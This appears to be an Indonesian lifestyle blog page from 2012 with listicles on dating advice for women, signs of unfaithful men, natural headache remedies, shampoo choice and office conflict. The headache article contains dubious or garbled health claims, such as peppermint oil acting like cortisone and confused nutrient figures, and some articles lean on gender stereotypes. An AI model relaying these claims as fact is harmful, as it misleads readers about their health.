DUNIA ILMU

Home » Semua post

Sabtu, 08 September 2012

5 Sikap Wanita Saat Berpacaran Yang Buat Pria Menjauh

Ilmu - Walaupun sudah berstatus sebagai pacar, bukan berarti Anda bisa membicarakan semua hal di awal hubungan. Ketahui lima topik percakapan yang justru membuat pria menjauhi Anda.

1. Mantan Pacar
Pembicaraan mengenai mantan pasti pernah muncul dalam percakapan Anda dan pacar. Tak jarang pula hal ini justru memicu pertengkaran. Sesekali Anda boleh membicarakannya untuk mengambil pelajaran dari masa lalu, namun ketika pembicaraan tentang mantan ini terus diulang-ulang, hanya akan membuat pacar Anda jenuh. Walaupun yang Anda bicarakan adalah keburukannya, itu hanya memperjelas bahwa Anda masih peduli dengan cinta lama.

2. Pembicaraan Tentang Anak
Komitmen adalah hal yang tidak mudah bagi sebagian pria, dan pembicaraan mengenai anak adalah keputusan yang buruk ketika Anda membicarakannya di awal hubungan. Ya, semua orang tentu ingin punya anak. Walaupun Anda memikirkan hal itu, namun lebih baik menyimpannya sendiri atau bicarakan dengan teman wanita Anda. Jika hubungan Anda dan si dia sudah mantap, jadikan pembicaraan mengenai hal ini menjadi lebih ringan sehingga dia tidak merasa tertekan.

3. Pertemuan dengan Orang tua
Bertemu dengan orangtua adalah sebuah langkah besar dalam hubungan. Jika si dia merasa belum siap untuk hal itu, bukan berarti dia tidak serius dengan hubungan ini. Tak perlu memaksanya dengan membicarakan hal ini, apalagi di awal hubungan.

4. Gaya Hidup Si Dia
Setiap orang memiliki kepribadian yang berbeda, dan saat Anda memutuskan menjalin hubungan dengannya, berarti Anda siap menerima pasangan apa adanya. Tidak perlu Anda memintanya mengubah cara berpakaian, mengatur makanannya, menyuruhnya pergi ke tempat fitnes, atau hal lainnya yang kebanyakan teman pria Anda lakukan. Jangan sampai Anda mempunyai pikiran bahwa dia akan sempurna, jika ia berubah.

5. Pengakuan Sebagai Pacar
Umumnya pria lebih santai dalam masalah hubungan dan kurang suka mengumbar hal itu di media sosial. Dia sudah menjadi milik Anda tanpa harus mengganti status Facebooknya, atau saling berkirim mention romantis di Twitter. Anda tidak bisa memaksanya untuk menunjukkan rasa sayang di media sosial atau ia justru akan menjauhi Anda.

Agung LaPulga Menarik

7 Cara Agar Pacar Setia

Ilmu - Saat Anda dan si dia sudah memulai sebuah hubungan asmara atau masa pacaran, ada beberapa hal yang harus dilakukan agar hubungan tetap langgeng.

Semua wanita pasti ingin agar pacar atau pasangannya tetap setia dan memberi cinta yang lebih besar, baik sekarang atau di kemudian hari. Berikut 7 cara ini agar pacar anda setia.

1. Memberi Perhatian dan Pujian
Walaupun mayoritas pria adalah makhluk yang cuek, mereka juga senang lho kalau Anda memberi perhatian, terlebih lagi pujian. Jangan lupa memujinya, misalnya potongan rambutnya baru, dia mendapat promosi jabatan, berhasil memperbaiki kendaraan yang mogok, atau sekedar mengucapkan terima kasih saat dia mengantar Anda pulang. Tapi ingat ya, pujian jangan berlebihan. Pujian-pujian kecil akan membuat pria bangga dan itu menunjukkan perhatian Anda.

2. Selera Humor Yang Bagus
Wanita yang kalem dan manis memang menjadi incaran banyak pria, tapi wanita yang bisa diajak bercanda dan memiliki selera humor yang bagus akan membuat pria makin jatuh cinta. Saat dia bercanda, tertawalah! Pria sangat senang jika berhasil membuat wanita yang dia cintai tertawa mendengar leluconnya. Anda juga boleh sekali-kali menanggalkan sisi jaim untuk membuat lelucon. Hal ini akan membuat hubungan Anda santai dan mengalir dengan baik.

3. Menghargai Hobinya
Dunia wanita dan pria sangat berbeda. Pria bingung dengan hobi wanita yang suka mengoleksi tas dan peralatan makeup. Wanita juga sering bingung dengan hobi pria yang terkadang aneh. Misalnya saja menonton pertandingan sepak bola, mengoleksi miniatur superhero, memelihara kura-kura atau hobi main game-nya yang masih dipelihara. Ladies, selama hobi yang dia lakukan tidak berbahaya dan merugikan, pria akan senang jika Anda mau mengerti dan menghargai hobinya.

4. Membiarkan Dia Menyendiri
Pria memiliki waktu diam, kadang dia menghilang beberapa saat dari hidup Anda. Jika hal itu terjadi dan Anda tidak merasa ada masalah, itu normal dan wajar. Kadang pria memerlukan waktu untuk menyendiri, entah dia sedang memikirkan sesuatu atau sedang ingin sendirian saja. Bukan berarti ada yang salah dengan Anda atau dia membenci Anda, mereka hanya perlu menyendiri sebentar. Jika Anda selalu bertanya atau memaksanya bercerita, mereka biasanya tidak suka.

5. Selalu Menjaga Penampilan
Menjaga penampilan di sini adalah tahu kapan harus berpenampilan rapi dan cantik, kapan bisa tampil apa adanya. Saat dia datang ke rumah Anda untuk mengobrol atau menemani masak, Anda bisa saja tampil biasa. Tetapi saat Anda dan dia makan malam atau dating, tak ada salahnya tampil rapi, sedikit makeup agar wajah fresh dan memakai parfum. Ingat ya, pria sering anti dengan wanita menor, tetapi mereka suka wanita yang tampil cantik natural.

6. Tidak Selalu Bergantung Padanya
Pria senang jika dia berguna untuk Anda. Pria senang jika dia berhasil membantu Anda, termasuk mengganti lampu kamar mandi yang rusak. Tapi tak selamanya dia ada di samping Anda. Kadang pria punya waktu tertentu yang tidak bisa ditinggalkan. Karena itu, dibutuhkan kemandirian Anda. Jika dia tidak bisa mengantar Anda karena ada urusan tertentu, jangan terus merengek dan memaksanya. Mandiri pada saat tertentu akan membuat pria melihat bahwa Anda adalah pasangan yang bisa diandalkan.

7. Mau Mendengar Ceritanya
Curhat bukan hobi pria, tapi bukan berarti mereka akan memendam semua masalahnya sendiri. Pria yang telah percaya pada pasangannya tidak akan ragu berbagi cerita, baik suka maupun duka. Pria akan senang jika pasangannya mau mendengar cerita mereka tanpa kesan menggurui. Dengarkan ceritanya, jangan dipotong, jangan membuat mereka tersudut dengan sikap menggurui. Jika ada hal yang harus Anda sampaikan, ucapkan dengan nada lembut dan pahami perasaannya.

Agung LaPulga Tips

Kamis, 06 September 2012

5 Tipe Wanita Yang Paling Disukai Pria

Ilmu - Cinta datang dalam kehidupan setiap orang begitu saja. Entah bagaimana, di mana, dan dengan siapa. Namun, sebagai manusia, kita pasti memiliki tipe pasangan ideal yang jadi idaman. Berikut adalah 5 tipe wanita yang paling disukai pria:

1. Pemalu Seorang pria mudah jatuh cinta pada wanita pemalu, yang tidak mencoba untuk menatap matanya sama sekali. Percayalah, pria benci wanita genit yang berusaha keras menarik perhatian mereka. Bahkan, pria lebih sering mengabaikan tipe wanita semacam ini.

2. Percaya diri
Pria suka wanita yang dapat menjadi dirinya sendiri, tanpa harus berpura-pura. Kejujuran adalah sesuatu selalu dihargai oleh setiap orang. Jadilah dirimu sendiri, ladies!

3. Easy going
Pria suka wanita yang tidak sering menuntut komitmen, terutama mengenai pernikahan atau pertunangan. Masalahnya, sebagian besar wanita tidak suka menunggu terlalu lama. Mereka bahkan akan bertanya tentang pernikahan setelah seminggu pacaran. Hal itu tentu sangat menyebalkan bagi pria. Jadilah wanita yang easy going tetapi serius. Kamu tetap bisa menata masa depan bersama, tanpa harus menuntut pasangan.

4. Lucu
Kebanyakan pria menaruh hati pada wanita yang memiliki humor dan suka bercanda. Tipe wanita semacam ini sering jadi incaran banyak pria karena dianggap sosok yang menyenangkan lho.

5. Bukan shopaholic
Selain bikin saku tipis, wanita shopaholic tuh kadang menyebalkan, egois, dan suka menuntut. Makanya, pria memutuskan untuk menjauh dari tipe wanita sejenis ini. Pria lebih memilih wanita yang tidak gila belanja dan suka merek apa saja.

Ini dia tipe wanita yang jadi idaman kaum pria. Apakah kamu salah satu di antaranya?.

Agung LaPulga Menarik

Minggu, 02 September 2012

10 Cara Alami Mengobati Sakit Kepala

Ilmu- Sakit kepala yang secara medis dikenal sebagai cephalalgia adalah kondisi terdapatnya rasa sakit di kepala, kadang di leher bagian belakang leher atau punggung bagian atas. Gangguan sakit kepala sekilas memang terlihat sebagai suatu masalah yang sepele, namun kondisi ini bisa sangat mengganggu aktivitas. Ada banyak cara untuk mengatasi serangan sakit kepala atau pusing.

Berikut 10 Cara Alami Mengobati dan Mengatasi Sakit Kepala

1. Air
Air merupakan salah satu komponen asupan yang sangat dibutuhkan oleh tubuh. Selain dapat menghilangkan rasa haus, minum 8-10 gelas air sehari secara rutin dapat membuat berbagai sistem yang terdapat dalam tubuh kita bekerja secara optimal.

Ternyata sakit kepala disinyalir sebagai salah satu indikator ‘kehausan’ pada tubuh. Nah, dengan minum air tentunya dapat membuat Anda bisa sedikit lebih baik. Tentu untuk selanjutnya, biasakan diri Anda untuk mengkonsumsi air dengan cukup guna menjaga kestabilan tubuh dan terhindar dari sakit kepala.

2. Es batu
Sekantong es akan membuat mati rasa daerah yang sakit dan dapat mengurangi rasa sakit kepala Anda. Jika Anda merasakan rasa sakit atau nyeri akibat ketegangan dan stres, Anda boleh mengambil icepack dan ditaruh di kepala, bahu atau belakang leher.

3. Teh peppermint
Terkadang nyeri kepala dapat pula disertai dengan sakit perut atau mual. Menurut penelitian, teh peppermint dapat meringkankan sakit perut dan mual.

4. Kentang
Sakit kepala yang muncul akibat mabuk tak hanya disebabkan karena dehidrasi tetapi juga karena hilangnya elektrolit seperti kalium. Maka dari itu, menyantap makanan yang kaya akan kalium dapat membantu meringankan sakit kepala. Kentang mengandung banyak kalium yakni 100 gram, sedangkan kentang panggang (dengan kulitnya) mengandung kalium hingga 600 mg.

5. Pisang
Pisang tidak hanya kaya akan potasium tetapi juga magnesium (pisang ukuran sedang mengandung 10% dari rekomendasi asupan harian Anda). Magnesium dapat meringankan migrain Anda dan sakit kepala akibat stres. Sejumlah penelitian telah menghubungkan antara kekurangan magnesium dan sakit kepala migrain. Penelitian menujukkan bahwa sekitar separuh dari semua penderita migrain memiliki magnesium terionisasi dalam darah dalam jumlah sedikit.

Magnesium, yang dikandung dalam pisang, melindungi tubuh dari sakit kepala dengan cara merelaksasi pembuluh darah. Selain itu, magnesium memiliki efek menenangkan sehingga berguna untuk meredakan sakit kepala akibat tegang. Apricot kering, alpukat, almond, kacang mete, beras merah, kacang-kacangan dan biji-bijian merupkan makanan lain yang kaya akan magnesium.

6. Kopi
Kafein dalam kopi bermanfaat sekaligus berbahaya bagi korban sakit kepala. Kafein merupakan zat yang umum dalam resep dan obat-obatan bebas untuk sakit kepala karena dapat meredakan rasa nyeri dan 40% lebih efektif dalam mengobati sakit kepala. Kafein juga membantu tubuh menyerap obat sakit kepala lebih cepat, sehingga obat tersebut lebih cepat bekerja. Kafein bisa menjadi pereda sakit kepala yang sangat efektif, terutama migrain, tetapi jika dikonsumsi terlalu banyak bisa membuat sakit kepala kembali kambuh. Jadi, dianjurkan untk meminum kopi tidak lebih dari 2 atau 3 cangkir per hari.

7. Biji-biji serelia utuh (whole grain)
Jika Anda menjalani diet rendah karbohidrat, Anda akan mulai menguras sumber utama energi untuk otak, yakni cadangan glikogen. Selain itu juga menjadikan tubuh kehilangan cairan dengan cepat sehingga menyebabkan dehidrasi. Dehidrasi bersamaan dengan berkurangnya energi ke otak bisa memicu timbulnya sakit kepala. Jika anda mengkonsumsi makanan-makanan karbo yang sehat seperti (biji-bijian seperti roti gandum, sereal gandum, oatmeal, dan buah), tidak hanya bisa mengusir rasa sakit pada kepala tetapi juga meningkatkan mood Anda.

8. Semangka
Dehidrasi adalah penyebab umum timbulnya sakit kepala, maka pertimbangkan untuk meminum banyak air dan mengasup makanan yang kaya akan air (seperti semangka). Buah yang kaya akan air ini juga mengandung mineral penting, seperti magnesium, yang merupakan kunci untuk mencegah sakit kepala. Anda juga dapat mencoba minuman olahraga berelektrolit jika mungkin mengalami sakit kepala setelah berolahraga dalam waktu yang lama karena kehilangan banyak mineral dalam tubuh.

9. Ikan
Ikan berlemak (seperti salmon, tuna, dan makarel) bermanfaat sebagai obat untuk sakit kepala migrain karena kaya akan asam lemak esensial, omega-3. Asam lemak omega-3 dapat menghambat peradangan yang sering memicu timbulnya migrain. Jika tidak bisa mengkonsumsi ikan ini setiap hari, tidak perlu khawatir. Anda dapat mengonsumsi suplemen minyak ikan dan menambahkan makanan seperti biji rami, walnut, tahu, dan kacang kedelai untuk tambahan omega-3 pada diet Anda.

10. Biji Wijen
Biji wijen kaya akan kandungan vitamin E dan dapat membantu menstabilkan kadar estrogen dan mencegah migrain selama periode Anda. Selain itu, biji wijen juga kaya akan magnesium, yang selanjutnya akan membantu pencegahan sakit kepala. Makanan lain yang mengandung vitamin E dalam jumlah tinggi antara lain, kacang-kacangan, minyak zaitun, dandelion, gandum, dan kentang manis. 8. Jahe : Selain menjadi obat untuk mual, jahe memiliki sifat anti-peradangan dan anti-histamin juga berguna untuk memerangi sakit kepala. Masaklah jahe tersebut atau kombinasikan dengan minuman lain seperti teh.

Selain cara mengobati sakit kepala dengan makanan alami diatas, Anda juga dapat mencoba cara berikut ini:

Stretching
Sakit kepala dapat timbul akibat otot yang tegang. Menarik nafas yang dalam dan meregangkan otot-otot leher dan pundak dapat membantu merelaksasi otot-otot tegang yang dapat menyebabkan sakit kepala. Jika anda ada waktu, senam yoga juga dapat merelaksasi otot-otot tubuh anda dan membantu mengatasi stres yang dapat memicu nyeri kepala.

Peregangan
Lakukan peregangan untuk mengurangi otot tegang yang memberi kontribusi terhadap nyeri. Cobalah tiga gerakan ini : gerakan leher (dagu ke depan, ke atas, dan ke samping kiri dan kanan); gerakan bahu (gerakan bahu ke atas, putar bahu ke depan dan belakang); dan leher isometrik (tangan menekan pada setiap sisi kepala). Lakukan peregangan dua kali sehari selama 20 menit per sesi. Tahan peregangan selama lima detik, relaks selama lima detik, dan ulangi setiap peregangan tiga sampai lima kali.

Pijat
Berikan pijat selama 15 menit di lokasi sakit kepala. Pijat pada daerah penghilang rasa sakit dilakukan dengan cara memijat bagian telapak tangan yang berada diantara jempol dan jari telunjuk dan diikuti dengan pemijatan pada daerah ini juga di bagian kaki.Lakukan pemijatan sampai diri Anda merasakan sakit karena pemijatan ini.

Selain itu Anda juga bisa menggunakan minyak peppermint untuk mengoleskan di dahi, tulang rahang atau belakang leher. Minyak ini bertindak sebagai krim kortison alami yang mengurangi rasa sakit dan membantu menenangkan saraf serta merevitalisasi energi.

Aerobik
Latihan aerobik yang teratur, seperti jalan cepat, bersepeda, atau berenang, dapat mengurangi intensitas dan frekuensi migrain, menurut National Pain Foundation. Sebuah penelitian kecil yang dipublikasikan dalam jurnal Headache terhadap pasien migrain yang melakukan senam teratur selama 12-minggu dengan bersepeda di dalam ruangan menunjukkan, ada peningkatan kualitas hidup dan berkurangnya angka kejadian migrain, serta intensitas nyeri.

Tidur
Kelebihan tidur, salah, dan kekurangan tidur pun salah. Perilaku tidur tersebut dapat menyebabkan sakit kepala berkepanjangan. Tubuh manusia bukanlah sebuah robot yang dapat di-setting sehingga dapat beraktivitas selama 24 jam. Sudah selayaknya kita dapat menyempatkan diri untuk tidur yang cukup dan teratur yakni 7-8 jam dalam sehari. Dengan membiasakan tidur dengan kapasitas normal tersebut, dapat membuat tubuh lebih segar di pagi hari dan menghilangkan sakit kepala.

Obat-obatan
Obat seperti parasetamol dan aspirin dapat meringankan peradangan dan menghambat zat-zat kimia di otak yang menyebabkan rasa sakit. Obat-obat tersebut terkadang ditambahkan dengan kafein yang dapat meningkatkan penyerapan di usus, sehingga lebih efektif jika dipakai pada nyeri kepala yang lebih berat.

Agung LaPulga Tips

Tips Bikin Pacar Lebih Romantis

Ilmu -Pacar kamu kurang romantis, atau bahkan sama sekali tidak romantis? Yah, memang tidak semua orang bisa menunjukkan sisi romantisme mereka. Seperti mengirim bunga atau membuatkan kamu sebuah puisi romantis. Bahkan untuk sekedar mengirimkan kamu sms cinta romantis. Tapi tidak perlu khawatir karena ada beberapa cara untuk membuat si dia jadi lebih romantis.

Cobalah untuk menemukan bahan untuk memulai pembicaraan seperti acara tv atau cerita tentang sahabat-sahabat kamu dan gunakan waktu ini untuk membicarakan hubungan kalian. Tekankan pada diri kamu berdua sebagai sepasang kekasih dan cobalah untuk memberikan nasihat secara jelas kepadanya. Katakan," Honey, bagaimana jika seandainya kita melakukan ini," atau," Aku akan sangat senang melakukannya denganmu, beib."

Ingatlah, pikiran pria tentang keromantisan biasanya berbeda dengan yang kamu pikirkan. Jadi jangan berpikiran buruk dan terlalu mengkritik dia ketika apa yang dia tunjukkan kepada kamu tidak sesuai dengan apa yang kamu harapkan. Tetaplah bahagia atas usahanya dan gunakan hal itu sebagai titik awal masa depan yang lebih romantis

Nah, sekarang kamu bisa mengikuti empat langkah untuk membuat kekasih bersikap romantis seperti yang ada dalam film.

1. Goda Dia! Isyarat biasanya tidak begitu bekerja kepada pria namun itu tetap usaha yang sangat berharga untuk dilakukan. Tinggalkan artikel ini di atas komputer kamu, bicarakan tentang hal-hal romantis yang dilakukan kekasih teman kamu atau komentari film romantis di tv. Semua hal ini mungkin memberikan beberapa ide untuk dia namun akan jauh lebih baik jika kamu berterus terang kepadanya tentang perasaan kamu.

2. Beritahu Dia Pria bukanlah pembaca pikiran seperti yang kamu inginkan. Jadi kamu harus memberitahu apa yang kamu inginkan. Jangan jadikan hal ini alasan untuk memulai pertengkaran namun mulailah percakapan dengan bertanya apa yang bisa kamu lakukan untuk membuatnya merasa lebih dicintai.

3. Ajari Dia Cara terbaik bagi seseorang untuk mengubah perilaku mereka adalah dengan memberi contoh tentang apa yang ingin kamu lakukan. Lakukan hal-hal romantis kepadanya, maka dia akan lebih terinspirasi untuk membalas keromantisan kamu.

4. Berikan dia perlakuan yang baik Semua orang pasti suka dipuji jadi pastikan kekasih kamu tahu betapa bahagianya kamu ketika dia menunjukkan sikap romantisnya. Jangan berlebihan namun tetap terasa alami dan tulus tentang perasaan kamu dan arti keromantisan itu bagi kamu.

Selamat mencoba tips-tips di atas dan semoga pacar kamu menjadi pacar yang paling romantis.

Agung LaPulga Tips

5 Tanda Pria Yang Tak Pantas Dipertahankan Dalam Hubungan

Ilmu - Perilaku dari setiap individu terkadang tidak terlihat di awal perkenalan. Tetapi semakin lama mengenalnya, bisa semakin terlihat sifat aslinya. Jika Anda berada dalam hubungan dan pasangan sudah menunjukkan perilaku di bawah ini, maka sebaiknya pikirkan lagi untuk meneruskan hubungan. Berikut lima tanda pria yang tak pantas dipertahankan, dikutip dari Third Age.

1. Menggoda Wanita Lain
Berada dalam hubungan yang dilandaskan komitmen membuat Anda tidak boleh melirik pria lain dan kekasihpun demikian. Tapi jika pasangan sering menggoda wanita lain, ini merupakan tanda bahwa dia 'tidak aman' bila ditinggal sendiri. Jangan heran bila tidak sedang bersama Anda, ia suka berinteraksi dengan wanita lain.

2. Memandangi Wanita Lain
Bila hanya sesekali memergokinya sedang melirik wanita lain, Anda harus pahami bahwa itu merupakan sifat dasar lak-laki. Namun, bila hal ini terjadi terus-menerus Anda tidak perlu mentolerirnya lagi.

3. Perlakuan Romantis dari Wanita Lain
Hal ini mungkin terjadi antara kekasih Anda dengan teman sekantornya. Waktu kebersamaan yang cukup lama membuat mereka memiliki hubungan khusus. Bila Anda menemukan panggilan telpon, SMS, BBM atau e-mail yang bernada romantis, segera tanyakan kepada kekasih. Dan apabila terus berlanjut, berarti Andalah yang harus meninggalkannya.

4. Cepat Marah
Hampir setiap orang pernah memiliki waktu-waktu buruk dalam hidupnya. Mungkin sehari atau bahkan seminggu. Namun, bila si dia tampak terlalu sering tersulut amarah tanpa alasan yang jelas, Anda patut mempertanyakannya.

5. Selalu Menyalahkan Anda
Masalah seringkali timbul dalam sebuah hubungan. Tetapi semuanya bisa dapat teratasi. Yang tidak dapat teratasi adalah bila pasangan menolak untuk mengakui kesalahannya dan berbalik menyalahkan Anda. Apakah Anda masih mau bersama pria seperti ini?

Agung LaPulga Menarik

Jumat, 31 Agustus 2012

Tips Gokil Mengubah Lawan Menjadi Kawan

Ilmu - Seberapa pun baik dan menyenangkannya Anda di kantor, ada saja satu dua orang yang memusuhi Anda, baik tersamar maupun terang-terangan. Tidak perlu kesal. Selalu ada cara untuk mengubah lawan menjadi kawan.

Berikut tips bagaimana cara licik mengubah lawan menjadi kawan:

1. Cooling Down.
Kalau sama-sama bersitegang, dia memusuhi Anda, kemudian dibalas dengan permusuhan, suhu kantor pasti panas dingin. Tegang. Apalagi jika Anda mengumpulkan seteru untuk memusuhi dia, uhm, dia pasti makin sewot.

Situasi ini jelas tidak kondusif. Jadi, mengapa tidak coba mencairkan suasana dengan bersikap sebaliknya. Kalau ada rekan yang mengompori, tidak perlu ditanggapi, katakan saja bahwa Anda tidak pernah memusuhi dia. Dan Anda tidak pernah punya persoalan dengan dia.

2. Berlagak Pilon
Anda tahu dia memusuhi Anda, tapi bersikaplah seolah-olah tidak tahu. Anggaplan tidak pernah ada persoalan antara Anda dengan dia. Toh, yang menganggap Anda musuh adalah dia, bukan Anda. Jagalah sikap senormal mungkin di depan dia. Kalau setiap tiba di kantor Anda menyapa dia, jangan hentikan kebiasan tersebut. Jika sapaan Anda ditanggapi dengan wajah cemberut, jangan ambil pusing. Toh, lama-lama dia mungkin akan menyadari usaha dia memusuhi Anda sia-sia, karena Anda bersikap tidak peduli.

3. Jangan dibalas
Kejahatan tidak perlu dibalas dengan kejahatan juga. Memang sulit mempraktekkannya tapi pasti bisa dilakukan. Satu contoh gampang adalah dengan memberi perhatian-perhatian kecil. Misal, kalau Anda pergi ke luar kota, jangan lupa membelikan sesuatu untuk dia. Kalau Anda memberikan sesuatu untuk teman-teman dekatnya, berikan juga pada dia. Kebesaran jiwa Anda lambat laun mungkin akan meluluhkan hatinya.

4. Bersikap Rendah Hati
Bersikaplah rendah hati. Kalau atasan memuji Anda di depan rekan-rekan lain, termasuk dia, jangan bersikap arogan. Katakan Anda masih punya banyak kekurangan, dan hasil yang Anda capai tidak lepas dari bantuan rekan-rekan lain, tak terkecuali dia. Biasanya sikap rendah hati akan membuatnya sadar bahwa Anda tidak layak dibenci. Sebaliknya sikap arogan akan membuatnya makin panas dan bersemangat membenci Anda.

5. Bersikap Profesional
Seberapa tidak sukanya Anda pada dia, janganlah menghadapinya secara subyektif. Mungkin Anda tidak ingin bekerjasama dengannya, tapi pekerjaan mengharuskan Anda satu team dengannya. Mau tidak mau, Anda harus bekerjasama dengan dia. Singkirkan sejenak ketidaksukaan Anda, berikan sesuai porsi atau kapasitas Anda. Karena kalau tim itu gagal, Anda juga yang akan terkena dampaknya.

6. Ayo Fokus
Daripada menanggapi permusuhannya, lebih baik focus pada pekerjaan. Abaikan saja perilakunya yang memancing emosi, missal ia gemar mengait-ngaitkan pekerjaan dengan hal lain yang tidak relevan. Pokonya apa pun yang dia lakukan, jangan gampang terpancing. Kalau perlu tanggapi perilakunya dengan bercanda sehingga dia akan merasa aksinya pada Anda tidak mempan.

7. Jangan Memancing
Sekesal apapun Anda pada dirinya jangan terpancing godaan rekan-rekan lain untuk menjelek-jelekan namanya. Karena bisa saja di antara teman-teman Anda itu, ada juga yan sengaja memancing di air keruh dan menambah suhu bertambah panas. Kalau perlu katakana pada mereka bahwa dia tidak seburuk yang mereka duga. Dengan begitu, ia mungkin akan sadar bahwa sikap permusuhannya hanya akan membakar dirinya sendiri.

8. Cry For Help
Anda bisa minta bantuan orang ketiga untuk mencairkan komunikasi antara Anda dengan dia. Mintalah pada dia untuk membantu meluruskan permasalah. Mungkin sikap permusuhan dia dilandasi salah paham atau misunderstanding. Biasanya masukan dari orang ketiga akan dia dengat ketimbang penjelasan dari Anda.

9. Inisiatif Meminta Maaf
Hari Raya Besar seperti Lebaran,Natal, Tahun Baru dan lain-lain merupakan momen yang tepat memperbaiki hubungan dengan dia. Kalau dia tidak menghampiri Anda, tidak perlu gengsi mendatangi mejanya dan mengulurkan tangan meminta maaf lahir dan batik. Agar suasana mencair, boleh juga membawa makanan dan ajak dia mencicipi bersama. Masak sih hatinya tidak juga terbuka melihat ketulusan Anda? Bukankah sekeras-kerasnya hati orang, masih lebih keras batu kali?

"Tips ini tidak hanya bisa digunakan di tempat kerja kita saja tapi juga bisa di gunakan dikehidupan sehari-hari kita".

Agung LaPulga Tips

7 Tanda Pria Mempunyai Bakat Selingkuh

Ilmu - Mempunyai pasangan yang telah menjalin hubungan sejak lama seringkalimembuat salah satu di antara keduanya mengalami kebosanan jika tidak adainisiatif untuk merawatnya. Bahkan, bisa jadi selingkuh menjadi salah satupilihan untuk mengatasi kebosanan. Namun, tak jarang meski tanpa ada alasanbosan, beberapa wanita mengaku bahwa pasangannya kerap menyembunyikan sesuatudan ternyata berujung pada keretakan hubungan akibat perselingkuhan.

Jika kini Anda tengah khawatir dengan pasangan, apakah suatu saat akanselingkuh atau tidak, ada baiknya Anda tahu terlebih dahulu ciri-ciri pria yangmempunyai bakat selingkuh atau bahkan hobi selingkuh.

Berikut 7 tipe pria yang mempunyai bakat untuk selingkuh.:

1. Mempunyai riwayat perselingkuhan
Beberapa ahli menyebutkan bahwa terdapat hubungan antara perselingkuhandengan riwayat genetik. Sebuah penelitian di Institut Karolinska, Stockolm,menunjukkan bahwa pria yang mewarisi varian genetik yang mempengaruhi hormonvasopresin cenderung memiliki hubungan yang lemah dan berujung pada sifat tidaksetia.

2. Social media addict Salah satu situs jejaring sosial, Divorce Online, menyatakan bahwasemakin banyak orang yang memiliki pasangan yang tidak setia akibat sering berkomunikasimelalui situs jejaring sosial.

3. Memiliki IQ rendah Sebuah penelitian yang dipimpin oleh Dr. Satoshi Kanazawa, seorangpsikolog evolusi dari London School of Economics and Political Sciencemenuturkan bahwa seorang pria yang memiliki IQ lebih rendah dari pasangannyamemiliki kecenderungan menipu pasangannya.

4. Terobsesi seks Sebanyak sepertiga dari 1.468 pria diinterogasi dan mengaku bahwa merekapernah melihat pornografi online. Hal inilah yang dapat memberikan efek emosiyang mematikan dan berakibat pada keretakan hubungan yang diakibatkan olehperselingkuhan.

5. Memiliki jam kerja yang tinggi Menurut konselor pasangan sekaligus penulis buku "After The Affair",Julia Cole menyebutkan bahwa pasangan yang memiliki jam kerja yang tinggiseringkali melupakan anak dan keluarganya. Bahkan, ada satu dari sepuluhkesempatan yang dilakukan pasangan untuk tidak setia.

6. Memiliki pendapatan yang lebih rendah Sebuah studi menyebutkan bahwa pria yang bergantung pada pasangan akibatpendapatan yang lebih rendah memiliki lima kali kemungkinan untuk melakukanselingkuh dibandingkan dengan pria yang memiliki gaji yang lebih tinggi daripasangannya.

7. Memiliki saudara kembar yang hobi selingkuh Menurut penelitian yang dilakukan oleh Dr. Lynn Cherkas, seorang ahlianalis genetik di St. Thomas Hospital, London, menemukan fakta mengejutkanbahwa seorang yang memiliki kembar identik beresiko 200% melakukan selingkuhjika terbukti saudara kembarnya telah berselingkuh.

Agung LaPulga Menarik

Selasa, 28 Agustus 2012

4 Tips Memilih Sampo Sesuai Jenis Rambut

Ilmu - Bagi kaum Hawa, rambu disebut sebagai mahkota. Perlu berbagai perawatan untuk menjaganya. Semisal menggunakan sampo. Nah, karena rambut setiap insan berbeda jenisnya. Maka, sampo pun kudu sesuai agar tidak merusak penampilan. Parameter berikut dapat membantu Anda menemukan pilihan terbaik:

1. Rambut kasar dan keriting
Usahakan memilih sampo yang lembut dan memiliki kandungan pelembab tinggi. Seperti sampo yang berbahan dasar shea butter, minyak biji ganadum, dan minyak kacang yang dapat memberikan kelembaban agar rambut tak kering. Selain itu, gunakan juga kondisioner ekstra untuk kelembaban ekstra.

2. Rambut halus dan berminyak
Hindarilah memilih sampo dan kondisioner krim. Pilih produk yang mengandung panthenol, sehingga dapat membuat helai rambut lebih tebal. Masalah kondisioner, pakailah jenis semprot. Teksturnya ringan dan tak mencapai kulit kepala. Kondisoner jenis ini merupakan pilihan tepat untuk jenis rambut halus dan berminyak.

3. Rambut kering dan rusak
Anda dianjurkan untuk memilih sampo krim yang lembab. Sampo biasa sangat tidak cocok untuk rambut rusak karena dapat membuat rambut menjadi lebih kering. Penggunaan kondisoner secara teratur pun sangat disarankan.

4. Rambut yang diwarnai
Umumnya, akar rambut cenderung berminyak. Sementara ujungnya tetap kering. Anda harus melembabkan ujung dan membersihkan pangkalnya. Dalam kasus ini, cucilah rambut Anda dengan sampo biasa setidaknya sekali sehari. Gunakan kondisioner pada ujung rambut, namun jangan mengenai akar kepala. Jangan coba menggunakan kondisioner berbah

Agung LaPulga Tips

Minggu, 26 Agustus 2012

12 Ciri Pria yang Hanya Memanfaatkan Kekasihnya

Ilmu - Setiap wanita pasti ingin dicintai dengan tulus oleh seorang pria. Namun, tidak semua pria baik dalam segala hal. Mungkin saja dia hanya mau memanfaatkan Anda. Bagaimana ciri-cirinya? Jika Anda ragu dengan pasangan saat ini, sebaiknya simaklah 12 tanda berikut yang dilansir dari iDiva untuk memastikannya.

1. Anda adalah Sebuah 'Objek'
Jika dia terus mengkritik atau tidak berhenti memuji kecantikan fisik, berarti Anda hanya sebuah 'objek' untuknya. Anda harus terlihat cantik, seksi, dan glamour setiap hari. Dia pun juga selalu menuntut Anda melakukan berbagai hal demi kebahagiaannya. Alangkah baiknya jika Anda menjauhi pria yang hanya menjadikan Anda sebuah 'objek'.

2. Menggoda Anda Sama Dengan Merayu Wanita Lain
Mungkin Anda pernah diajak ke suatu tempat yang paling berarti untuk dia. Namun, tidak hanya Anda yang pernah ke sana, tapi setiap wanita yang dekat dengan pasangan pernah ke tempat tersebut. Untuk itu, Anda perlu berhati-hati bila menjalin hubungan dengan pria seperti ini.

3. Lihat Sikapnya
Pasangan yang saling mencintai tidak hanya ingin membahagiakan diri sendiri, tapi juga orang yang dicintainya. Apakah dia benar-benar serius dengan Anda? Mungkin saja dia hanya menjadikan Anda pelarian atau kesepian, dan berakhir dengan perselingkuhan. Selain itu, dia cuma mau harta Anda.

4. Masalah Seks
Pria yang ingin menikahi Anda hanya karena mau memanfaatkan segala yang Anda punya lebih mementingkan kebahagiaan dia saja, termasuk dalam berhubungan intim. Dia cuma mengincar kesenangan pribadi tanpa memikirkan Anda.

5. Masalah Uang
